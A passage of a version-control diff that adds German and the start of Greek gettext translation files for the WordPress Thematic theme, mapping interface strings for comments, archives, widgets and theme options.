c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:43 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Entschuldigung, aber Nichts passt auf Ihre Suchkriterien. Bitte versuchen Sie es noch einmal mit anderen Schlüsselwörtern." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:48 +msgid "Find" +msgstr "Suchen" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:76 +msgid "One Comment" +msgstr "Ein Kommentar" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:83 +#, php-format +msgid "%d Comments" +msgstr "%d Kommentare" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:96 +msgid "Post a Comment" +msgstr "Ihr Kommentar" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:103 +#, php-format +msgid "Post a Reply to %s" +msgstr "Schreibe eine Antwort an %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:110 +msgid "Comment" +msgstr "Kommentar" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:117 +msgid "Post Comment" +msgstr "Absenden" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:147 +msgid "Author Archives: " +msgstr "Autorenarchiv: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:153 +msgid "Category Archives:" +msgstr "Kategorien-Archiv:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:162 +msgid "Search Results for:" +msgstr "Suchergebnisse für:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:168 +msgid "Tag Archives:" +msgstr "Tag-Archiv:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:174 +#, php-format +msgid "Daily Archives: %s" +msgstr "Tägliches Archiv: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:178 +#, php-format +msgid "Monthly Archives: %s" +msgstr "Monatliches Archiv: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:182 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Jährliches Archiv: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:186 +msgid "Blog Archives" +msgstr "Blog-Archiv" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:209 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:725 +msgid "« Older posts" +msgstr "« Ältere Beiträge" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:210 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:726 +msgid "Newer posts »" +msgstr "Neuere Beiträge »" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:394 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:618 +msgid "Edit post" +msgstr "Bearbeiten" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:406 +msgid "Not Found" +msgstr "Nicht gefunden" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:411 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid "Permalink to " +msgstr "Permanent-Link zu " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:441 +msgid "By " +msgstr "Von " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:444 +msgid "View all posts by " +msgstr "Alle Beiträge zeigen von " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:455 +msgid "Published: " +msgstr "Veröffentlicht am: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:523 +msgid "Archives by Category" +msgstr "Archive nach Monat" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:534 +msgid "Archives by Month" +msgstr "Archive nach Monat" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:562 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Es tut uns Leid, aber wir konnten nicht finden, was Sie gewünscht haben. Vielleicht hilft eine Suche." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:578 +msgid "Read More »" +msgstr "Mehr lesen »" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:629 +msgid "This entry was posted in " +msgstr "Dieser Eintrag wurde veröffentlicht in " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:632 +msgid "Also posted in " +msgstr "Veröffentlicht in " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:635 +msgid "Posted in " +msgstr "Veröffentlicht in " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:646 +msgid " and tagged" +msgstr " und getagged " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:649 +msgid " Also tagged " +msgstr " Auch getagged " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:651 +msgid "Tagged" +msgstr "Getagged" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:663 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:666 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:669 +msgid "Comment on " +msgstr "Kommentar" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:664 +msgid " Comments" +msgstr " Kommentare" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:667 +msgid " Comment" +msgstr " Kommentar" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:670 +msgid "Leave a comment" +msgstr "Kommentieren" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:673 +msgid "Comments closed" +msgstr "Kommentare geschlossen" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid ". Bookmark the " +msgstr ". Bookmarken: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:687 +msgid "permalink" +msgstr "Permanent-Link" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:689 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "Post a comment" +msgstr "Kommentieren" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:690 +msgid " or leave a trackback: " +msgstr " oder ein Trackback hinterlassen: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL for your post" +msgstr "Trackback-URL für Ihren Beitrag" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL" +msgstr "Trackback-URL" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:693 +msgid " Comments are closed, but you can leave a trackback: " +msgstr " Kommentare sind geschlossen, aber Sie können ein Trackback hinterlassen: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:696 +msgid " Trackbacks are closed, but you can " +msgstr " Trackbacks sind geschlossen, aber sie können " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "post a comment" +msgstr "Kommentieren" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:699 +msgid " Both comments and trackbacks are currently closed." +msgstr " Momentan ist weder das Kommentieren noch das Setzen eines Trackbacks möglich." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Erstellt am %1$s um %2$s | Permanent-Link" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tIhr Kommentar wartet auf Freischaltung.\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Antworten" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Sie müssen eingeloggt sein, um antworten zu können." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Von %1$s am %2$s um %3$s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tIhr Trackback wartet auf Freischaltung.\\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:251 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "Posts RSS feed" +msgstr "RSS-Feed der Beiträge" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:269 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "Comments RSS feed" +msgstr "RSS-Feed der Kommentare" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip navigation to the content" +msgstr "Navigation zu Inhalt überspringen" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip to content" +msgstr "Zu Inhalt springen" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:31 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "Es existiert kein Auszug, da dieser Beitrag geschützt ist." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "Anmelden" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "Abmelden »" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "Index Position zum Einfügen" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "The widgetized Index Insert erfolgt nach dem Beitrag Nummer (wie angegeben). " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Info auf der Autorenseite" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "Zeige eine vCard—mit dem Avatar, Bio und E-Mail Adresse auf der Seite des Autors an." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr "Text im Footer" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [blog-link] [the-year]" +msgstr "Sie können die folgenden Shortcodes verwenden: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Angetrieben von [wp-link]. Darstellung basiert auf [theme-link]." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:75 +msgid "settings saved." +msgstr "Einstellungen gespeichert." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:76 +msgid "settings reset." +msgstr "Einstellungen zurückgesetzt" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:77 +msgid "widgets reset." +msgstr "Widgets zurückgesetzt" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:190 +msgid "Save changes" +msgstr "Änderungen speichern" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:196 +msgid "Reset" +msgstr "Zurücksetzen" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:202 +msgid "Reset Widgets" +msgstr "Widgets zurücksetzen" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:207 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "Um mehr Information über dieses Thema zu erhalten, besuchen Sie ThemeShaper. Bitte besuchen Sie die ThemeShaper Foren falls Sie irgendwelche Fragen zu Thematic haben." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:12 +msgid "To search, type and hit enter" +msgstr "Suchtext eingeben" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:18 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:281 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:43 +msgid "Search" +msgstr "Suchen" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:43 +msgid "The primary widget area, most often used as a sidebar." +msgstr "Der primäre Widget Bereich, hauptsächlich als Sidebar verwendet." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:58 +msgid "The secondary widget area, most often used as a sidebar." +msgstr "Der sekundäre Widget Bereich, hauptsächlich als Sidebar verwendet." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:73 +msgid "The 1st widget area in the footer." +msgstr "Der erste Widget Bereich im Footer." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:88 +msgid "The 2nd widget area in the footer." +msgstr "Der zweite Widget Bereich im Footer." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:103 +msgid "The 3rd widget area in the footer." +msgstr "Der dritte Widget Bereich im Footer." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:118 +msgid "The top widget area displayed on the index page." +msgstr "Der Widget Bereich oberhalb des Contents der Index Seite." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:133 +msgid "The widget area inserted after x posts on the index page." +msgstr "Der eingeschobene Widget Bereich auf der Index Seite." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:148 +msgid "The bottom widget area displayed on the index page." +msgstr "Der Widget Bereich unterhalb des Contents der Index Seite." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:163 +msgid "The top widget area displayed on a single post." +msgstr "Der Widget Bereich oberhalb des COntents einer Single Post." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:178 +msgid "The widget area inserted between the post and the comments on a single post." +msgstr "Der eingeschobene Widget Bereich einer Single Post." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:193 +msgid "The bottom widget area displayed on a single post." +msgstr "Der Widget Bereich unterhalb des Contents einer Single Post." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:208 +msgid "The top widget area displayed on a page." +msgstr "Der Widget Bereich oberhalb des Contents einer Page." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:223 +msgid "The bottom widget area displayed on a page." +msgstr "Der Widget Bereich unterhalb des Contents einer Page." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:283 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:55 +msgid "Meta" +msgstr "Meta" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:285 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:286 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:72 +msgid "RSS Links" +msgstr "RSS-Links:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "All posts" +msgstr "Alle Beiträge" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "All comments" +msgstr "Alle Kommentare" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:96 +msgid "Title:" +msgstr "Titel:" + +#~ msgid "definitions created." +#~ msgstr "Definitionen erstellt." +#~ msgid "failed to create directory:" +#~ msgstr "Erstellen des Verzeichnisses fehlgeschlagen:" +#~ msgid "failed to create the file:" +#~ msgstr "Erstellen der Datei fehlgeschlagen:" +#~ msgid "Create Definitions" +#~ msgstr "Erstelle Definitionen" +#~ msgid "Pages" +#~ msgstr "Seiten" +#~ msgid "Categories" +#~ msgstr "Kategorien" +#~ msgid "Archives" +#~ msgstr "Archive" +#~ msgid "RSS Feeds" +#~ msgstr "RSS-Feeds" +#~ msgid "" +#~ "Enter the HTML text that will appear in the bottom of your footer. Feel " +#~ "free to remove or change any links. Hint: how to " +#~ "write a link." +#~ msgstr "" +#~ "Gebe einen HTML Text ein, der am Ende des Footers erscheinen soll. Alle " +#~ "Links können geändert oder entfernt werden. Hinweis: Syntax eines Links." +#~ msgid "" +#~ "Powered by WordPress. Built on the Thematic Theme Framework." +#~ msgstr "" +#~ "Angetrieben von WordPress. Die Darstellung " +#~ "basiert auf dem Thematic Theme " +#~ "Framework." +#~ msgid "Blog Index" +#~ msgstr "Blog-Index" +#~ msgid "Blog Buttons" +#~ msgstr "Blog Buttons" +#~ msgid "Page" +#~ msgstr "Seite" +#~ msgid "Error 404 - Not Found" +#~ msgstr "Fehler 404 - Nicht gefunden" +#~ msgid "Archive for the ‘%s’ Category" +#~ msgstr "Archiv für die Kategorie „%s“" +#~ msgid "Posts Tagged ‘%s’" +#~ msgstr "Artikel-Schlagworte: „%s“" +#~ msgid "Archive for %s|Daily archive page" +#~ msgstr "Archiv für %s" +#~ msgid "F jS, Y" +#~ msgstr "j. F Y" +#~ msgid "Archive for %s|Monthly archive page" +#~ msgstr "Archiv für %s" +#~ msgid "F, Y" +#~ msgstr "F Y" +#~ msgid "Archive for %s|Yearly archive page" +#~ msgstr "Archiv für %s" +#~ msgid "Y" +#~ msgstr "Y" +#~ msgid "« Older Entries" +#~ msgstr "« Ältere Einträge" +#~ msgid "Newer Entries »" +#~ msgstr "Neuere Einträge »" +#~ msgid "l, F jS, Y" +#~ msgstr "l, j. F Y" +#~ msgid "Tags:" +#~ msgstr "Schlagworte:" +#~ msgid "No Comments »" +#~ msgstr "Keine Kommentare »" +#~ msgid "1 Comment »" +#~ msgstr "1 Kommentar »" +#~ msgid "% Comments »" +#~ msgstr "% Kommentare »" +#~ msgid "Archives by Subject:" +#~ msgstr "Archive nach Thema:" +#~ msgid "Permanent Link: %s" +#~ msgstr "Permanent-Link: %s" +#~ msgid "Read the rest of this entry »" +#~ msgstr "Diesen Beitrag weiterlesen »" +#~ msgid "This entry was posted %1$s on %2$s at %3$s and is filed under %4$s." +#~ msgstr "" +#~ "Dieser Beitrag wurde vor %1$s am %2$s um %3$s Uhr veröffentlicht und " +#~ "unter %4$s gespeichert." +#~ msgid "" +#~ "You can follow any responses to this entry through the RSS " +#~ "2.0 feed." +#~ msgstr "" +#~ "Sie können Kommentare zu diesem Eintrag über den RSS-2.0-Feed verfolgen." +#~ msgid "" +#~ "You can leave a response, or trackback from your own site." +#~ msgstr "" +#~ "Sie können einen Kommentar hinterlassen " +#~ "oder einen Trackback von Ihrer " +#~ "Website hierher setzen." +#~ msgid "" +#~ "Responses are currently closed, but you can trackback from your own site." +#~ msgstr "" +#~ "Kommentare sind momentan deaktiviert, aber Sie können einen Trackback von Ihrer Website hierher setzen." +#~ msgid "" +#~ "You can skip to the end and leave a response. Pinging is currently not " +#~ "allowed." +#~ msgstr "" +#~ "Sie können einen Kommentar hinterlassen, " +#~ "Pingbacks/Trackbacks sind momentan deaktiviert." +#~ msgid "Edit this entry." +#~ msgstr "Diesen Eintrag bearbeiten" +#~ msgid "Sorry, no attachments matched your criteria." +#~ msgstr "" +#~ "Leider wurden keine Anhänge gefunden, die Ihren Kriterien " +#~ "entsprechen." +#~ msgid "No Responses" +#~ msgstr "Keine Kommentare" +#~ msgid "One Response" +#~ msgstr "1 Kommentar" +#~ msgid "% Responses" +#~ msgstr "% Kommentare" +#~ msgid "to “%s”" +#~ msgstr "zu „%s“" +#~ msgid "%s Says:" +#~ msgstr "%s sagt:" +#~ msgid "edit" +#~ msgstr "bearbeiten" +#~ msgid "Comments are closed." +#~ msgstr "Kommentieren ist momentan nicht möglich." +#~ msgid "Leave a Reply" +#~ msgstr "Kommentieren" +#~ msgid "Logged in as %2$s." +#~ msgstr "Angemeldet als %2$s." +#~ msgid "Log out of this account" +#~ msgstr "Jetzt abmelden" +#~ msgid "Log out »" +#~ msgstr "Abmelden »" +#~ msgid "(required)" +#~ msgstr "(benötigt)" +#~ msgid "Mail (will not be published)" +#~ msgstr "E-Mail (wird nicht veröffentlicht)" +#~ msgid "XHTML: You can use these tags: %s" +#~ msgstr "" +#~ "XHTML: Sie können folgende Elemente nutzen: %" +#~ "s" +#~ msgid "Submit Comment" +#~ msgstr "Kommentar senden" +#~ msgid "%1$s - Comments on %2$s" +#~ msgstr "%1$s - Kommentare zu %2$s" +#~ msgid "" +#~ "RSS feed for comments on " +#~ "this post." +#~ msgstr "" +#~ "RSS-Feed für " +#~ "Kommentare zu diesem Artikel." +#~ msgid "" +#~ "The URL to TrackBack " +#~ "this entry is: %s" +#~ msgstr "" +#~ "Die Trackback-URL zu " +#~ "diesem Artikel ist: %s" +#~ msgid "Pingback" +#~ msgstr "Pingback" +#~ msgid "by %1$s — %2$s @ %4$s" +#~ msgstr "von %1$s — %2$s um %4$s Uhr" +#~ msgid "No comments yet." +#~ msgstr "Noch keine Kommentare." +#~ msgid "" +#~ "Line and paragraph breaks automatic, e-mail address never displayed, " +#~ "HTML allowed: " +#~ "%s" +#~ msgstr "" +#~ "Zeilen- und Absatzumbrüche werden automatisch eingefügt, Ihre E-" +#~ "Mail wird nicht angezeigt.Erlaubtes HTML:" +#~ msgid "URL" +#~ msgstr "URL" +#~ msgid "Say It!" +#~ msgstr "Senden" +#~ msgid "Sorry, the comment form is closed at this time." +#~ msgstr "Kommentieren ist momentan leider nicht möglich." +#~ msgid "Close this window." +#~ msgstr "Fenster schließen." +#~ msgid "" +#~ "Powered by WordPress" +#~ msgstr "" +#~ "WordPress" +#~ msgid "%1$s is proudly powered by %2$s" +#~ msgstr "%1$s läuft mit %2$s" +#~ msgid "%1$s and %2$s." +#~ msgstr "%1$s und %2$s." +#~ msgid "Entries (RSS)" +#~ msgstr "Beiträge (RSS)" +#~ msgid "%d queries. %s seconds." +#~ msgstr "%d Abfragen. %s Sekunden." +#~ msgid "Customize Header" +#~ msgstr "Kopfbereich anpassen" +#~ msgid "Header Image and Color" +#~ msgstr "Hintergrundbild und -farbe" +#~ msgid "Close Color Picker" +#~ msgstr "Farbwähler schließen" +#~ msgid "Save" +#~ msgstr "Speichern" +#~ msgid "Font Color:" +#~ msgstr "Schriftfarbe:" +#~ msgid "Any CSS color (%s or %s or %s)" +#~ msgstr "Eine beliebige CSS-Farbe (%s oder %s oder %s)" +#~ msgid "Upper Color:" +#~ msgstr "Farbe für oben:" +#~ msgid "HEX only (%s or %s)" +#~ msgstr "Nur HEX (%s oder %s)" +#~ msgid "Lower Color:" +#~ msgstr "Farbe für unten:" +#~ msgid "Toggle Text" +#~ msgstr "Text umschalten" +#~ msgid "Use Defaults" +#~ msgstr "Standard verwenden" +#~ msgid "Font Color" +#~ msgstr "Schriftfarbe" +#~ msgid "Upper Color" +#~ msgstr "Farbe für oben" +#~ msgid "Lower Color" +#~ msgstr "Farbe für unten" +#~ msgid "Advanced" +#~ msgstr "Erweitert" +#~ msgid "Update Header »" +#~ msgstr "Kopfbereich aktualisieren »" +#~ msgid "Font Color (CSS):" +#~ msgstr "Schriftfarbe (CSS):" +#~ msgid "Upper Color (HEX):" +#~ msgstr "Farbe für oben (HEX):" +#~ msgid "Lower Color (HEX):" +#~ msgstr "Farbe für unten (HEX):" +#~ msgid "Select Default Colors" +#~ msgstr "Standardfarben auswählen" +#~ msgid "Toggle Text Display" +#~ msgstr "Textanzeige aktivieren/deaktivieren" +#~ msgid "» Blog Archive" +#~ msgstr "» Blogarchiv" +#~ msgid "This entry was posted on %1$s at %2$s and is filed under %3$s." +#~ msgstr "" +#~ "Dieser Beitrag wurde am %1$s um %2$s Uhr veröffentlicht und unter %3$s " +#~ "gespeichert." +#~ msgid "Sorry, no posts matched your criteria." +#~ msgstr "" +#~ "Leider wurden keine Artikel gefunden, die Ihren Kriterien entsprechen." +#~ msgid "Sorry, but you are looking for something that isn’t here." +#~ msgstr "Es konnten leider keine passenden Inhalte gefunden werden." +#~ msgid "Read the rest of this page »" +#~ msgstr "Diesen Seite weiterlesen »" +#~ msgid "Search for:" +#~ msgstr "Suchen nach:" +#~ msgid "No posts found. Try a different search?" +#~ msgstr "" +#~ "Ihre Suche ergab keine Treffer. Möchten Sie eine neue Suche starten?" +#~ msgid "Author" +#~ msgstr "Autor" +#~ msgid "You are currently browsing the archives for the %s category." +#~ msgstr "Sie sind momentan im Archiv der Kategorie %s." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives " +#~ "for the day %3$s." +#~ msgstr "" +#~ "Sie sind momentan im Blogarchiv für den %3$s von %2" +#~ "$s." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives " +#~ "for %3$s." +#~ msgstr "" +#~ "Sie sind momentan im Blogarchiv für %3$s von %2$s." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives " +#~ "for the year %3$s." +#~ msgstr "" +#~ "Sie sind momentan im Blogarchiv für das Jahr %3$s von %2$s." +#~ msgid "" +#~ "You have searched the %2$s blog archives for " +#~ "‘%3$s’. If you are unable to find anything " +#~ "in these search results, you can try one of these links." +#~ msgstr "" +#~ "Sie haben im Blogarchiv von %2$s nach " +#~ "„%3$s“ gesucht. Falls Sie in den " +#~ "Suchergebnissen nicht fündig werden, helfen Ihnen mö" +#~ "glicherweise die folgenden Links." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives." +#~ msgstr "Sie sind momentan im Blogarchiv von %2$s." +#~ msgid "This page validates as XHTML 1.0 Transitional" +#~ msgstr "Diese Seite ist valides XHTML 1.0 Transitional" +#~ msgid "XHTML Friends Network" +#~ msgstr "XHTML Friends Network" +#~ msgid "XFN" +#~ msgstr "XFN" +#~ msgid "" +#~ "Powered by WordPress, state-of-the-art semantic personal publishing " +#~ "platform." +#~ msgstr "Läuft mit WordPress, der führenden Weblog-Anwendung." +#~ msgid "Edit this entry" +#~ msgstr "Diesen Eintrag bearbeiten" +#~ msgid "" +#~ "Powered by Wordpress" +#~ msgstr "" +#~ "WordPress" +#~ msgid "" +#~ "Logged in as %2$s. Logout »" +#~ msgstr "" +#~ "Angemeldet als %2$s. Abmelden " +#~ "»" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/el.mo Binary file web/wp-content/themes/thematic/library/languages/el.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/el.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/el.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,488 @@ +msgid "" +msgstr "" +"Project-Id-Version: Thematic\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-03-15 11:44+0100\n" +"PO-Revision-Date: \n" +"Last-Translator: Demetris Kikizas \n" +"Language-Team: op111.net \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=n != 1;\n" +"X-Poedit-Language: Greek\n" +"X-Poedit-Country: Greece\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/404.php:10 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Συγγνώμη! Αυτό που ζητοÏσατε δεν βÏέθηκε. Θέλετε να δοκιμάσετε την αναζήτηση;" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/404.php:15 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:58 +msgid "Find" +msgstr "Αναζήτηση" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:16 +#, php-format +msgid "Daily Archives: %s" +msgstr "ΑÏχείο ημέÏας: %s" + +#: 